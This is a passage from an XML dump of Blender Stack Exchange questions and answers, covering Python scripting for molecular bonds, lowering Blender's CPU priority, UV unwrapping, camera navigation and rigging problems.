  <row Id="15252" PostTypeId="2" ParentId="15230" CreationDate="2014-08-24T09:30:26.557" Score="4" Body="&lt;p&gt;The &lt;em&gt;Blend Mode&lt;/em&gt; in the material settings is only available when Render is set the to &lt;em&gt;Blender Game&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3iAsq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For textures there are &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Influence/Material/Blending_Modes&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend types&lt;/a&gt; which are also available in the internal renderer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure whether you can map these properties to the required operators defined by Porter-Duff, thus custom properties could be a good alternative.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-08-24T09:30:26.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15253" PostTypeId="2" ParentId="13484" CreationDate="2014-08-24T09:40:21.023" Score="0" Body="&lt;p&gt;This is not a direct answer to the question, but rather to the underlying application of the OP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I occasionally want to display proteins, where the hook method would be terribly slow (calling bpy.ops methods for &gt;10000 bonds...). My current working solution for this specific problem of displaying a bond between two atoms is using constraints, which are much faster to handle with a script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a (rather lengthy) working example. As a bonus it reuses the data (mesh or beveled curve) for all bonds automatically. So the slow bpy.ops calls only happen once. They could be replaced entirely by creating the base mesh or curve from scratch but are more convenient in this case.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;def get_bond_data(type='MESH'):&#xA;    new_bond = None&#xA;    if type == 'MESH':&#xA;        data_name = &quot;bond_mesh&quot;&#xA;    elif type == 'CURVE':&#xA;        data_name = &quot;bond_curve&quot;&#xA;&#xA;    data = bpy.context.blend_data.meshes.get(data_name)&#xA;    if not data:&#xA;        # save last selection to restore later&#xA;        selected = bpy.context.selected_objects&#xA;        last_active = bpy.context.object&#xA;        # bond should start at origin and have length 1 in y-direction&#xA;        if type == 'MESH':&#xA;            bpy.ops.mesh.primitive_cylinder_add(location=(0,0,0), &#xA;                depth=1, radius=1.0,&#xA;                end_fill_type=&quot;NOTHING&quot;)&#xA;            new_bond = bpy.context.object&#xA;            data = new_bond.data&#xA;            data.name = data_name&#xA;            # rotate vertices 90 degrees around x, and shift along y axis&#xA;            bm = bmesh.new()&#xA;            bm.from_mesh(data)&#xA;            for vert in bm.verts:&#xA;                tmp_co = vert.co.copy()&#xA;                vert.co.y = -tmp_co.z + .5&#xA;                vert.co.z = tmp_co.y&#xA;            bm.to_mesh(data)&#xA;            bm.free()&#xA;            data.update()&#xA;&#xA;        elif type == 'CURVE':&#xA;            bpy.ops.curve.primitive_bezier_curve_add(location=(0,0,0))&#xA;            new_bond = bpy.context.object&#xA;            data = new_bond.data&#xA;            data.name = data_name&#xA;&#xA;            bp = data.splines[0].bezier_points&#xA;            for i in range(2):&#xA;                bp[i].co = (0,i,0)&#xA;                bp[i].handle_left_type = 'VECTOR'&#xA;                bp[i].handle_right_type = 'VECTOR'&#xA;&#xA;            # get bevel object&#xA;            bevel_name = 'bond_bevel'&#xA;            bond_bevel = bpy.context.blend_data.objects.get(bevel_name)&#xA;            if not bond_bevel:&#xA;                bpy.ops.curve.primitive_bezier_circle_add(radius=1.0, location=(0,0,0))&#xA;                bond_bevel = bpy.context.object&#xA;                bond_bevel.name = bevel_name&#xA;            data.bevel_object = bond_bevel&#xA;&#xA;    if new_bond:&#xA;        # finally delete object and reselect old selection&#xA;        bpy.context.scene.objects.unlink(new_bond)&#xA;        for o in selected:&#xA;            o.select = True&#xA;        bpy.context.scene.objects.active = last_active&#xA;&#xA;    return data&#xA;&#xA;def add_bond(first_atom, second_atom, type='MESH'):&#xA;    bond_name = &quot;bond_{}-{}&quot;.format(first_atom.name, second_atom.name)&#xA;    bond_data = get_bond_data(type=type)&#xA;    new_bond = bpy.data.objects.new(bond_name, bond_data)&#xA;    bpy.context.scene.objects.link(new_bond)&#xA;&#xA;    c = new_bond.constraints.new('COPY_LOCATION')&#xA;    c.name = &quot;from&quot;&#xA;    c.target = first_atom&#xA;&#xA;    c = new_bond.constraints.new('STRETCH_TO')&#xA;    c.name = &quot;to&quot;&#xA;    c.rest_length = 1.0&#xA;    c.volume = 'NO_VOLUME'&#xA;    c.target = second_atom&#xA;&#xA;    # scale bond so it looks better&#xA;    scale = 0.15&#xA;    new_bond.scale = (scale, 1.0, scale)&#xA;&#xA;a1 = bpy.context.blend_data.objects.get(&quot;atom 1&quot;)&#xA;a2 = bpy.context.blend_data.objects.get(&quot;atom 2&quot;)&#xA;add_bond(a1, a2, type=&quot;CURVE&quot;)&#xA;#add_bond(a1, a2, type=&quot;MESH&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5739" LastEditorUserId="5739" LastEditDate="2014-08-24T10:07:30.937" LastActivityDate="2014-08-24T10:07:30.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15254" PostTypeId="2" ParentId="15247" CreationDate="2014-08-24T10:02:35.263" Score="14" Body="&lt;p&gt;I'd like to add some advice not specific to Blender, if you're running it on Linux.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;There is a program &lt;a href=&quot;https://github.com/opsengine/cpulimit&quot; rel=&quot;noreferrer&quot;&gt;cpulimit&lt;/a&gt; available (AKA LimitCPU) for many standard distibutions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;LimitCPU is a program to throttle the CPU cycles used by other applications. LimitCPU will monitor a process and make sure its CPU usage stays at or below a given percentage. This can be used to make sure your system has plenty of CPU cycles available for other tasks&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A tool called &lt;a href=&quot;http://manpages.ubuntu.com/manpages/precise/man8/schedtool.8.html&quot; rel=&quot;noreferrer&quot;&gt;schedtool&lt;/a&gt; allows to set various scheduling parameters of running programs (or running programs with these parameters). In your case using &lt;code&gt;-D&lt;/code&gt; to set &lt;code&gt;SCHED_IDLEPRIO&lt;/code&gt; would be useful:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;SCHED_BATCH was designed for non-interactive, CPU-bound applications. [...]  can be interrupted anytime by other processes in other classes to guaratee interaction of the system. Processes in this class are selected last but may result in a  considerable speed-up (up to 300%). [...]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;[...]&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;SCHED_IDLEPRIO is similar to SCHED_BATCH, but was explicitely designed to consume only the time the CPU is idle. [...]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So running Blender in this scheduling class would ensure that it consumes only the (and all the available) idle CPU cycles.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can also can use the &lt;a href=&quot;http://man7.org/linux/man-pages/man2/setpriority.2.html&quot; rel=&quot;noreferrer&quot;&gt;kernel's built-in &lt;em&gt;nice&lt;/em&gt;&lt;/a&gt; scheduling, which comes with all major Linux distributions, like this:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nice 19 blender                # Start blender with low priority&#xA;renice 19 -p $(pidof blender)  # Modify a running blender&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Some desktop environments also allow you to set this graphically. For example, in KDE, press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Esc&lt;/kbd&gt; to launch the activity manager, and then &lt;kbd&gt;F8&lt;/kbd&gt; (or Right Click -&gt; Priority) to change the priority of a process:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JIsvC.png&quot; alt=&quot;Changing process priority in the KDE System Activity monitor&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5740" LastEditorUserId="5759" LastEditDate="2014-08-25T12:16:40.060" LastActivityDate="2014-08-25T12:16:40.060" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15255" PostTypeId="1" AcceptedAnswerId="15282" CreationDate="2014-08-24T10:09:50.490" Score="2" ViewCount="1328" Body="&lt;p&gt;I've got this error when running the blender game-engine:&#xA;&lt;code&gt;Error Totblock: 1&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The scene is running, but very slow, and this message appears a the end)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently, it is due to a memory leak.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a quite big scene probably : it's a game level with 8 rooms, and a total of 1408 verts, 1066 faces, 2132 Tris, and Mem of 1882.78M. &#xA;(The size may be due to jpeg that I use in each room)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this message the way for Blender to tell me that this scene is too big for it... or has this scene some particular problems in memory management? If it is so, could anyone give me a clue how to search the memory leak?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've made a test with another blend. This one has a size of 14M only and I still see the error message. Apparently, it's due to objects that I have linked to my current blend. Still don't know what the problem with the particular object linked&lt;/p&gt;&#xA;" OwnerUserId="5640" LastEditorUserId="5640" LastEditDate="2014-08-24T19:01:43.040" LastActivityDate="2014-08-25T06:49:19.650" Title="game-engine : error totblock : 1. Memory Leak?" Tags="&lt;game-engine&gt;&lt;memory-management&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15256" PostTypeId="1" CreationDate="2014-08-24T10:47:45.833" Score="0" ViewCount="1236" Body="&lt;p&gt;Hello I'm quite new in this api. I want to use knife_tool from &lt;code&gt;bpy.ops.mesh&lt;/code&gt; on the selected face. When I just call (like in tooltip):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.knife_tool()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;  File &quot;/home/t/blender-2.71-linux-glibc211-x86_64/2.71/scripts/modules/bpy/ops.py&quot;, line 188, in __call__&#xA;    ret = op_call(self.idname_py(), None, kw)&#xA;RuntimeError: Operator bpy.ops.mesh.knife_tool.poll() failed, context is incorrect&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried in edit and object mode. Maybe is any other way to cut face in my own points from console?&lt;/p&gt;&#xA;" OwnerUserId="5678" LastEditorUserId="1363" LastEditDate="2014-08-25T12:31:12.963" LastActivityDate="2014-09-24T13:55:44.073" Title="Using knife_tool from python api" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15257" PostTypeId="2" ParentId="15239" CreationDate="2014-08-24T11:22:23.787" Score="1" Body="&lt;p&gt;Operators automatically push their actions containing the properties used onto the undo/redo stack, by calling an operator with different options you are adding it to the stack each time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prevent calling the operator each time an option changes you could move the properties for the options to outside of the operator, maybe to an &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.AddonPreferences.html&quot; rel=&quot;nofollow&quot;&gt;AddonPreferences&lt;/a&gt; instance? This can then be accessed by the operator and a panel or directly in the User Preferences when enabling the addon. See &lt;a href=&quot;https://developer.blender.org/diffusion/BA/browse/master/object_cloud_gen.py&quot; rel=&quot;nofollow&quot;&gt;Cloud Generator addon&lt;/a&gt; for an example of properties added to &lt;code&gt;bpy.types.Scene&lt;/code&gt; and used by both panel and operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also try having the operator take a single argument as a string (comma separated list you can split?), a CollectionProperty or &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.props.html?highlight=BoolVectorProperty#bpy.props.BoolVectorProperty&quot; rel=&quot;nofollow&quot;&gt;BoolVectorProperty&lt;/a&gt;, which I think would integrate better with the undo stack. A panel displaying the operators options could then combine the options into one property to be passed to the operator call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that, you may also find that calling the operator with defaults and only allowing the user to change options within the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Vitals/Undo_and_Redo#Redo_Last&quot; rel=&quot;nofollow&quot;&gt;Redo Last&lt;/a&gt; to be a workable solution. See the &lt;a href=&quot;https://developer.blender.org/diffusion/BA/browse/master/add_curve_sapling/&quot; rel=&quot;nofollow&quot;&gt;sapling addon&lt;/a&gt; and it's large array of options only available in the redo last. Also the &lt;a href=&quot;https://developer.blender.org/diffusion/BAC/browse/master/add_mesh_space_tree/&quot; rel=&quot;nofollow&quot;&gt;space tree addon&lt;/a&gt; in contrib has a similarly large list of options. You can adjust properties in the redo last panel, see the results and only have one undo step.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-08-24T11:22:23.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15258" PostTypeId="1" AcceptedAnswerId="15259" CreationDate="2014-08-22T07:48:34.987" Score="5" ViewCount="5959" Body="&lt;p&gt;I would like to apply a texture to an cylinder object in Blender cycles.&#xA;Below is the result when I apply the texture to the entire mesh:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Mapping OK for the Upper and bottom circular faces. &lt;/li&gt;&#xA;&lt;li&gt;Mapping not OK&#xA;for the lateral side, the texture is applied to each single&#xA;subdivision face.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My goal is to apply the texture to the entire lateral side as a single surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l8YGk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5658" OwnerDisplayName="AJN" LastEditorUserId="2217" LastEditDate="2014-08-25T13:58:57.160" LastActivityDate="2014-11-18T20:48:33.963" Title="bad texture mapping on sides of a cylinder" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15259" PostTypeId="2" ParentId="15258" CreationDate="2014-08-24T07:40:43.857" Score="5" Body="&lt;p&gt;While using the basic generated texture co-ordinates can be easy and helpful in some cases, you want to use UV-Unwrapping to get full control of how your texture looks. BlenderCookie has an &lt;a href=&quot;http://cgcookie.com/blender/2011/01/21/intro_uvmapping/&quot; rel=&quot;noreferrer&quot;&gt;introduction tutorial&lt;/a&gt; that explains more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basics are -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First mark the seams, this is where the edges are &quot;cut&quot; to get the model laying flat on a 2d texture image. &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;E&lt;/kbd&gt;-&gt;Mark Seams with mark the selected edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ClQRm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you unwrap - Select all with &lt;kbd&gt;A&lt;/kbd&gt;, then &lt;kbd&gt;U&lt;/kbd&gt;-&gt;Unwrap&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vqwsU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when you set the mapping to UV for the texture you will get the same bricks texture on the top as well as the sides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FVFaK.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more control you can also assign &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Multiple_Materials&quot; rel=&quot;noreferrer&quot;&gt;different materials&lt;/a&gt; to the top and sides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LXRxX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" OwnerDisplayName="sambler" LastActivityDate="2014-08-24T07:40:43.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15260" PostTypeId="1" CreationDate="2014-08-24T14:09:17.083" Score="3" ViewCount="4767" Body="&lt;p&gt;When I'm in camera view &lt;kbd&gt;Numpad 0&lt;/kbd&gt; and I want to navigate in the 3D-view with e.g. &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/OASpJ.png&quot; alt=&quot;MMB&quot; title=&quot;Middle Mouse Button&quot;&gt; MMB&lt;/kbd&gt; the view jumps to a completely different location.&lt;br&gt;&#xA;I actually jump from &lt;em&gt;Camera Perspective&lt;/em&gt; to &lt;em&gt;User Perspective&lt;/em&gt;.&#xA;Can I avoid this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there perhaps a way to set the &quot;User Persp&quot; view to the camera location and rotation?&lt;br&gt;&#xA;Or a way to avoid that you when you start navigating in Camera view that you jump back to the last location in User view?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not mean &quot;Lock camera to View&quot;.&#xA;I just want to start navigation from the camera's position &lt;em&gt;without moving the camera itself&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Thanks for the elaborate and visualized replies.&#xA;The hacks are very clever. However, as I just want to be able to continue navigating the world starting from camera view, they take too much effort and attention.&#xA;As I've been pondering as to why this feature hasn't been added yet to Blender it became apparent that it's not that straightforward.&#xA;After all, user view and camera view are most likely in diffent perspective. User view could be in ortho view and if not, it would still be in a different focal lenght than the camera. So  a seamless navigation from your camera view would result in a changed perspective of your user view and that might be equally annoying as the problem I'm describing in my picture.&#xA;Oh well, I guess I have to get over this little limitation.&#xA;Thanks again!&lt;/p&gt;&#xA;" OwnerUserId="5741" LastEditorUserId="12" LastEditDate="2014-08-25T22:28:19.347" LastActivityDate="2018-03-24T00:57:51.740" Title="Navigate normally from camera perspective?" Tags="&lt;3d-view&gt;&lt;camera&gt;" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15261" PostTypeId="2" ParentId="15260" CreationDate="2014-08-24T14:23:01.220" Score="5" Body="&lt;p&gt;If you wish, you can lock the Camera to the perspective view. That means that whenever you navigate in the 3D viewport the camera will 'follow' you in the view, copying the location and rotation of your navigation. In effect, in this mode it will look like you have never left the camera perspective as the dark border around the camera and the camera border itself, will remain visible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be enabled in the properties panel (&lt;kbd&gt;N&lt;/kbd&gt;) under the 'View' section:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b13LD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At any point you can then disable the option and the camera will remain at the position you navigated to meaning you can use this to move you camera into position and then leave it at the desired location.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2014-08-24T14:23:01.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15262" PostTypeId="2" ParentId="15247" CreationDate="2014-08-24T14:40:56.473" Score="16" Body="&lt;p&gt;If you are using Windows, I would suggest (in line with Petr's answer) lowering Blender's &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms685100(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;priority&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rather than limiting Blender to 50% and leaving 50% available for other programs, this lets Blender use all of the CPU not being used by other programs (meaning it will run near 100% if it's the only program running).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Del&lt;/kbd&gt; to open the Task Manager, click to the Processes tab, right-click on Blender, highlight Set Priority, select Below Normal, then accept the dialogue by clicking Change Priority.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dsn93.png&quot; alt=&quot;screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NB: When you close and re-open Blender it will automatically be set back to Normal priority so you have to change this every time you want to run it in the background. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Avoid making more drastic priority changes without understanding the effects.&lt;/p&gt;&#xA;" OwnerUserId="3292" LastEditorUserId="15795" LastEditDate="2016-12-18T23:42:02.157" LastActivityDate="2016-12-18T23:42:02.157" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15263" PostTypeId="1" AcceptedAnswerId="15269" CreationDate="2014-08-24T15:02:16.350" Score="10" ViewCount="13937" Body="&lt;p&gt;My issue is that I have a blender file in which cameras and lamps do not move when I attempt to rotate them using the mouse. If I select the objects (in object mode), press &lt;kbd&gt;R&lt;/kbd&gt;, and move the mouse in the viewport, the lamps and cameras don't respond; they remain in the same orientation as when I started, no matter how vigorously I try to move the mouse. The values in the information bar show that the mouse is communicating. If, however, I manually enter a new value for the amount of rotation in the properties shelf of the viewport, the camera moves to the new orientation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a new default Blender scene, the cameras and lamps do respond to commands to rotate and scale using the mouse. I've compared all of the settings I can think of, and don't see anything obvious that corrects the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/6zb07ig4vjdq2t8/lamprotation.blend?dl=0&quot; rel=&quot;noreferrer&quot;&gt;~.blend file&lt;/a&gt; is available.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="241" LastEditDate="2015-12-29T18:48:35.567" LastActivityDate="2020-12-04T18:59:48.187" Title="Objects not rotating or scaling in viewport" Tags="&lt;objects&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15264" PostTypeId="1" AcceptedAnswerId="15268" CreationDate="2014-08-24T15:06:33.077" Score="5" ViewCount="682" Body="&lt;p&gt;I find in recent versions (2.69a, 2.7, 2.71) of Blender that I cannot append lights or cameras from one ~.Blend file to another. The documentation suggests that this used to be possible in versions prior to 2.5, but there is no documentation related to appending or liking for newer versions. Is it no longer possible to append lights and cameras from one file to another?&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-08-24T17:58:33.003" Title="Has appending lights and cameras been deprecated?" Tags="&lt;camera&gt;&lt;light&gt;&lt;append&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15265" PostTypeId="1" AcceptedAnswerId="15284" CreationDate="2014-08-24T15:22:47.953" Score="0" ViewCount="140" Body="&lt;p&gt;In object mode there is a blender element attached to a particular object which appears to be a vertex, though I'm working in a large scale, so it could be a small edge or face. I don't want it there, but I cannot seem to select the item in object mode, and it disappears in edit mode. &lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2014-08-24T19:26:54.947" LastActivityDate="2014-08-25T12:26:31.553" Title="How can I get rid of a Blender element I cannot select?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15266" PostTypeId="2" ParentId="15265" CreationDate="2014-08-24T15:22:47.953" Score="1" Body="&lt;p&gt;Check to see if you may have added a modifier to your object. Some modifiers, for example, the hook modifier, add empties that are used in the function of the modifier that show in object mode, but which cannot be selected in edit mode.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-08-24T15:22:47.953" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15267" PostTypeId="1" CreationDate="2014-08-24T17:06:23.073" Score="2" ViewCount="1964" Body="&lt;p&gt;I'm a total beginner at coding and I'm having some troubles with my first script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I copied the main structure from a script that toggles layer visibility for some bones from a rigging course I did at IHMAN 3D School. Now I'm trying to tweak it to fit my needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Aside from a quicker access to some Armature functions via Toolshelf, I want to be able to set all the selected bones to Deform=True/False at once with a button. I marked the line I wrote to accomplish this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script as is now goes as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; import bpy&#xA;&#xA; class dwarfButtons(bpy.types.Panel):&#xA;&#xA;&#xA;    bl_space_type = &quot;VIEW_3D&quot;&#xA;    bl_region_type = &quot;TOOLS&quot;&#xA;    bl_category = &quot;Rigging&quot;&#xA;    bl_label = &quot;Dwarf Rig Layers&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(self,context):&#xA;        if(bpy.context.active_object.type == 'ARMATURE'):&#xA;            return(True)&#xA;&#xA;    def draw(self,context):&#xA;        layout = self.layout&#xA;        row = layout.row()&#xA;&#xA;        row.label(&quot;Edit/Display options:&quot;)&#xA;        row = layout.row()&#xA;        row.prop(context.active_object.data, &quot;use_mirror_x&quot;, toggle=True, text=&quot;edit: x mirror&quot;)&#xA;        row = layout.row()&#xA;        row.prop(context.active_object.data, &quot;show_names&quot;, toggle=True, text=&quot;names&quot;)&#xA;        row = layout.row()&#xA;        row.prop(context.active_object.data, &quot;show_bone_custom_shapes&quot;, toggle=True, text=&quot;shapes&quot;)&#xA;        row = layout.row()&#xA;        row.prop(context.active_object.data, &quot;show_axes&quot;, toggle=True, text=&quot;axe display&quot;)&#xA;        row = layout.row()&#xA;        row.prop(context.active_object, &quot;show_x_ray&quot;, toggle=True, text=&quot;xRay&quot;)&#xA;        row = layout.row()&#xA;        row.prop(context.selected_bones, &quot;use_deform&quot;, toggle=True, text=&quot;Deform OFF&quot;) #THIS LINE&#xA;&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(dwarfButtons)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(dwarfButtons)&#xA;&#xA;&#xA;if __name__==&quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't totally know what I'm doing yet. I discovered what functions to call trough the info panel and quick searches through the Python API.&lt;/p&gt;&#xA;" OwnerUserId="5743" LastEditorUserId="2217" LastEditDate="2014-08-24T17:20:41.353" LastActivityDate="2015-09-21T23:15:38.100" Title="Toggle 'deform' bone property for all selected bones" Tags="&lt;python&gt;&lt;bones&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15268" PostTypeId="2" ParentId="15264" CreationDate="2014-08-24T17:58:33.003" Score="7" Body="&lt;p&gt;Just like how you cannot append an actual object from &lt;em&gt;Mesh&lt;/em&gt;, you can't append scene objects from &lt;em&gt;Lamp&lt;/em&gt; or &lt;em&gt;Camera&lt;/em&gt; either. To append an &lt;strong&gt;&lt;em&gt;object&lt;/em&gt;&lt;/strong&gt; from another scene, you need to go into the &lt;strong&gt;&lt;em&gt;Objects&lt;/em&gt;&lt;/strong&gt; folder.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-08-24T17:58:33.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15269" PostTypeId="2" ParentId="15263" CreationDate="2014-08-24T18:04:35.533" Score="17" Body="&lt;p&gt;Untick &lt;em&gt;Maniplulate center points&lt;/em&gt; in the header. This transforms center points only and allows you to manipulate object locations while having the objects themselves stay in their existing orientation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6nKPl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="599" LastEditDate="2014-08-24T20:58:51.810" LastActivityDate="2014-08-24T20:58:51.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15270" PostTypeId="1" AcceptedAnswerId="15275" CreationDate="2014-08-24T18:21:15.547" Score="1" ViewCount="723" Body="&lt;p&gt;I've been working with making a rig for about 2 hours, now, but just can't get past one issue. I had several issues with my rig, but then I used an automatic deform instead of an empty group and assigning all the vertex manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only issue I can find now, it that when I move the fingertip bones, the fingertip don't follow the bones correctly. If I move the whole arm, or the forearm or hand, the fingertips move correctly with the whole arm, but moving the actual fingertip bones doesn't work correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing it has something to do with bone weighting, but I don't know what to adjust.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a picture of the finger before moving the bone:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ythdv.png&quot; alt=&quot;Normal 